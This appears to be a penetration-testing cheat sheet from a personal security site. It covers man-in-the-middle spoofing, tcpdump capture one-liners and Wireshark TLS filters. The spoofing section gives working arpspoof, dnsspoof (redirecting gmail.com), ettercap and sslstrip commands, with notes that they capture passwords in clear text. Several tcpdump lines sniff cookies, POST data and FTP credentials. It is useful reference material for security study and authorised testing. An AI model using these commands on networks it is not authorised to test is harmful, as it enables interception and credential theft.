Packet Capture - OsbornePro

MITM Spoof Techniques

ARPSPOOF
arpspoof -i eth0 -t 192.168.0.37 192.168.0.35
(i = interface t = target last ipv4 address is spoofed identity)
(use this method for packet capture programs in a large enough network this can cause issues if the gateway is spoofed)

DNSSPOOF
dnsspoof -i eht0 -f fakednsresolutions.txt
(fakednsresolutions.txt should read 192.168.0.35 www.gmail.com)
NOTE: In order to use this tool run command "service apache2 start" in order to replace web page with custom web page. Best for http not SSL https.

ETTERCAP
ettercap -Ti eth0 -M arp:remote /192.168.0.37/ /192.168.0.35/
(this spoofs arp of 192.168.0.37. -Ti = text interface -M = set up for spoofing default gateway
NOTE: If an SSL warning is ignored and users input their password and username they are captured and displayed in clear text.

SSLSTRIPING
iptables -t nat -A PREROUTING -p tcp --destination-port80 -j REDIRECT --to-port 8080
(sets and iptables rule to pass traffice headed for port 80 thorugh SSL Strip which here is run on port 8080)
sslstrip -l 8080
(opens sslstrip and tells it to listen on port 8080)
NOTE: This bypasses any certificate warnings and captures credentials in clear text

TCP Dump

REFERENCE: https://hackertarget.com/tcpdump-examples/

# Read a pcap file
tcpdump -r packetcapture.pcap
# -r : Reads a pcap type file
# -n : No DNS lookup
# -X : Print hex packet data and ASCII format
# -A : Print each packet minus its link level header in ASCII

# Filter by source host
tcpdump -n src host 10.0.0.1 -r file.pcap

# Filter by destination
tcpdump -n dst host 10.0.0.1 -r file.pcap

# Filter by port
tcpdump -n port 80 -r file.pcap

# Filter by bits set for ACK and PSH
tcpdump -A -n 'tcp[13] = 24' -r file.pcap

# Print hex data
tcpdump -nX -r file.pcap

# Actively Capture DHCP requests on ethernet interface eth0
ifup eth0 & echo " " & tcpdump -n -s0 port 67 and 68

# Capture HTTP Request Info
sudo tcpdump -nn -A -s1500 -l | egrep -i 'User-Agent:|Host:'

# Capture POST Requests
sudo tcpdump -s 0 -A -vv 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'

# Capture Visited URLs:
sudo tcpdump -s 0 -v -n -l | egrep -i "POST /|GET /|Host:"

# Capture Cookies:
sudo tcpdump -nn -A -s0 -l | egrep -i 'Set-Cookie|Host:|Cookie:'

# Capture Emails:
sudo tcpdump -nn -l port 25 | grep -i 'MAIL FROM\|RCPT TO'

# Capture SNMP:
sudo tcpdump -n -s0  port 161 and udp

# Capture FTP Creds:
sudo tcpdump -nn -v port ftp or ftp-data

# Capture DNS:
sudo tcpdump -i wlp58s0 -s0 port 53

Wireshark

# Common GUI Filters
# Filter by tcp port 21
tcp.port==21

# Filter for IP address 10.0.0.1
ip.addr=10.0.0.1

# Filter for RADIUS traffic
radius

#========================
# SSL Filters
#========================
# Client Hello
ssl.handshake.type == 1

# Client Hello Packets
ssl.handshake.extensions_server_name

# Server Hello
ssl.handshake.type == 2

# NewSessionTicket
ssl.handshake.type == 4

# Certificate
ssl.handshake.type == 11

# CertificateRequest
ssl.handshake.type == 13

# ServerHelloDone
ssl.handshake.type == 14
# Note: "ServerHellpDone" means full-handshake TLS session

# Cipher Suites
ssl.handshake.ciphersuite

#==============================
# Decrypt SSL Traffic
#==============================
# WINDOWS
$env:SSLKEYLOGFILE = "$env:USERPROFILE\Documents\ssl-keys.log"
# Then visit HTTPS sites
# LINUX
export SSLKEYLOGFILE=~/.ssl-key.log
# Then visit HTTPS sites

# Open Wireshark and click Edit > Preferences
# Expand Protocols in the left-hand pane and scroll down, then click SSL

# Under '(Pre)-Master-Secret' log filename select "$env:USERPROFILE\Documents\ssl-keys.log" and click OK
# Run a packet capture and use the below Wireshark filter and view your packets
ssl

Packet Capture Filtering

MITM Spoof Techniques

TCP Dump

Wireshark

Site Links

Contact Info

Packet Capture Filtering

MITM Spoof Techniques

TCP Dump

Wireshark

Site Links

Contact Info

Subscribe to OsbornePro TV